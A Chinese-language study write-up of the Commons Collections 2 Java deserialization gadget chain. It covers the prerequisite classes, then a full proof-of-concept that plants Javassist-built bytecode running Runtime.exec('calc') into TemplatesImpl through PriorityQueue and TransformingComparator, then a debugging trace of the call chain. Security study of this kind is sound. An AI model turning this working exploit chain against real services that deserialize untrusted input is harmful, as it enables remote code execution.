CommonsCollections2 反序列化链分析
一、前言
CC链复现的第二篇,CC2存在有好几条链子,这里就分别来进行调试分析一下具体流程
二、前置知识
1、PriorityQueue
PriorityQueue类提供堆数据结构的功能。 它实现了Queue接口。  与普通队列不同,优先队列元素是按排序顺序检索的。 假设我们想以升序检索元素。在这种情况下,优先队列的头是最小的元素。检索到该元素后,下一个最小的元素将成为队列的头。 需要注意的是,优先队列的元素可能没有排序。但是,元素总是按排序顺序检索的。 |
构造方法 | 解释 |
---|---|---|---|
PriorityQueue() | 使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 | ||
PriorityQueue(int initialCapacity) | 使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 | ||
其他方法 | 解释 | ||
-------- | ------------------------------ | ||
add(E e) | 将指定的元素插入此优先级队列。 | ||
clear() | 从此优先级队列中移除所有元素。 |
代码示例:
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
result:
1
2
2、getDeclaredField
getDecalaredField
是java.lang.Class
中的一个方法,该方法返回一个Field对象,它反映此Class对象所表示的类或接口的指定已声明字段。 name参数是一个字符串,指定所需字段的简单名称。
3、Field
主要使用的两个方法如下
get get(Object obj) 返回的 Field表示字段的值,指定对象上。
set set(Object obj, Object value) 设置域为代表的这 Field对象指定对象上的参数指定的新值。
4、TransformingComparator
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似。
在TransformingComparator
的构造方法中,传入了两个值decorated
和transformer
TransformingComparator
调用compare
方法时,就会传入transformer
对象的transform
方法。
5、Javassist
5.1 简述
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
5.2 ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。 | 常用方法 | 解释 |
---|---|---|
static ClassPool getDefault() | 返回默认的ClassPool,一般通过该方法创建我们的ClassPool | |
ClassPath insertClassPath(ClassPath cp) | 将一个ClassPath对象插入到类搜索路径的起始位置; | |
ClassPath appendClassPath | 将一个ClassPath对象加到类搜索路径的末尾位置; | |
CtClass makeClass | 根据类名创建新的CtClass对象; | |
CtClass get(java.lang.String classname) | 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用; |
5.3 CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。 | 常用方法 | 解释 |
---|---|---|
void setSuperclass(CtClass clazz) | 更改超类,除非此对象表示接口; | |
byte[] toBytecode() | 将该类转换为类文件; | |
CtConstructor makeClassInitializer() | 制作一个空的类初始化程序(静态构造函数); |
5.4 示例代码
package com.yulate.learing;
import javassist.ClassPool;
import javassist.CtClass;
public class javassistTest {
public static void createPerson() throws Exception {
// 实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
// 新建一个CtClass ,类名为Cat
CtClass cat = pool.makeClass("Cat");
// 设置一个要执行的命令
String cmd = "System.out.println(\"javassist test success!\");";
// 制作一个空的类初始化,并在前面插入要执行的命令语句
cat.makeClassInitializer().insertBefore(cmd);
// 重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cat.setName(randomClassName);
// 将生成的类文件保存下来
cat.writeFile();
// 加载该类
Class c = cat.toClass();
// 创建对象
c.newInstance();
}
public static void main(String[] args) throws Exception {
createPerson();
}
}
新生成的类如下,其中有一块static代码:
当该类被实例化的时候static里面的代码被执行
三、利用链分析
先贴上POC:
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Cc2Poc_2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue, comparator);//设置queue的comparator字段值为comparator
Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
先看第一部分
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
第一部分的意思是创建一个新的类,其父类为AbstractTranslet
,并设置构造函数
这里有一个问题,为什么创建该类要将其父类设置为AbstractTranslet
,带着这个疑惑我们继续往下分析。
第二部分
byte[] bytes = payload.toBytecode();//转换为byte数组
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
第二部分代码主要进行的操作为通过反射获取到templatesImpl
的_bytecodes
字段,然后再将其设置为第一部分创建类转换而成的字节码,_name
也是通过同样的方法设置为test
。
这里就出现了第二个疑问,为什么这里要将templatesImpl
的_bytecodes
字段设置为payload的字节码。
分析这个问题我们需要跟入templatesImpl
类中查看_bytecodes
字段在何处进行了处理
经过
loader.defineClass
的处理,返回一个class,在getTransletInstance()
方法中调用了_class.newInstance()
,也就是对我们传入的自定义类payload进行了实例化,该处操作具体可以参照前置知识中的[[#5、Javassist]]。这也是为什么POC中使用了TemplatesImpl
类的原因。在上图箭头指向的部分可以看见将结果强转为
AbstractTranslet
类类型,这就能解释清楚第一个问题为什么要将自定义类的父类设置为AbstractTranslet
在知道了
getTransletInstance()
会实例化_class
的前提下我们需要去找到一个调用getTransletInstance()
的地方。在TemplatesImpl
类中调用getTransletInstance()
方法的地方就只有newTransformer
方法。这时候就要考虑如何调用
newTransformer
了,先去看看POC中是如何处理的
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
这里又使用了TransformingComparator
类,这究竟又是为什么呢?其实在前置知识的地方说过。TransformingComparator
的compare
方法会去调用传入参数的transform
方法。
而关于
compare
的方法就需要用到PriorityQueue
来实现了。对应的POC代码:
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue, comparator);//设置queue的comparator字段值为comparator
siftDownUsingComparator
方法会调用到comparator
的compare
siftDownUsingComparator
会在siftDown
方法中进行调用。siftDown
会在heapofy
中被调用heapify
会在readObject
复写点被调用下面再来看POC中的最后一段代码
Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
设置queue.queue
为Object数组,其内容为两个内置恶意代码的TemplatesImpl
实例化对象,这样在调用heapify
方法的时候就会被传参进去。
到这里整个POC为何如此构造已经被分析的足够清晰了,接下来就是分析调用链。
四、利用链调试
在入口readObject
方法出打上断点,就可以看见反序列化过程中调用的readObject
方法是PriorityQueue
类中的。而这给readObject
方法会在执行过程中去调用heapify
方法
heapify
会调用siftDown
方法,并且传入queue
,这里的queue
是刚刚构造好恶意代码的自定义实例化类对象该方法判断
comparator
是否为空,如果不为空就会调用siftDownUsingComparator
方法,并且传入的comparator
是被TransformingComparator
修饰过的InvokerTransformer
实例化对象。跟进到
siftDownUsingComparator
方法中,发现方法会去调用comparator
里面的compare
。因为这里的
compare
是被TransformingComparator
修饰过的InvokerTransformer
实例化对象,所以这里调用的就是TransformingComparator
中的compare
。这里传入两个参数,内容为
TemplatesImpl
实例化对象,跟入到方法里面,iMethodName
的内容为newTransformer
,然后反射调用了newTransformer
。newTransformer
会调用getTransletInstance
方法继续跟入
getTransletInstance
方法,这里先会对_name
进行判断是否为空,这就是为什么需要在POC中将_name
设置为test的缘故。然后会对
_class
判断是否为空,为空的话调用defineTransletCLasses()
进行赋值,这里是将_bytecodes
赋值给_class
defineTransletClasses()
执行完会跳回刚刚的地方接下来
_class.newInstance()
会对_class
进行实例化,在执行完这一步就会弹出计算器,具体是为什么看前置知识中的Javassist调用链如下:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.getTransletInstance()
(动态创建的类)cc2.newInstance()
Runtime.exec()
五、总结
经过这次的分析对java反序列化的利用链构建理解更上一层。其实个人觉得在分析利用链的时候,只是用别人写好的POC代码看他的调用步骤的话,意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因,这些疑问都是我一开始考虑到的东西,需要多思考。
六、参考文献
Java安全之Commons Collections2分析-安全客 - 安全资讯平台 (anquanke.com)
Java反序列化之CC2 | 沉铝汤的破站 (chenlvtang.top)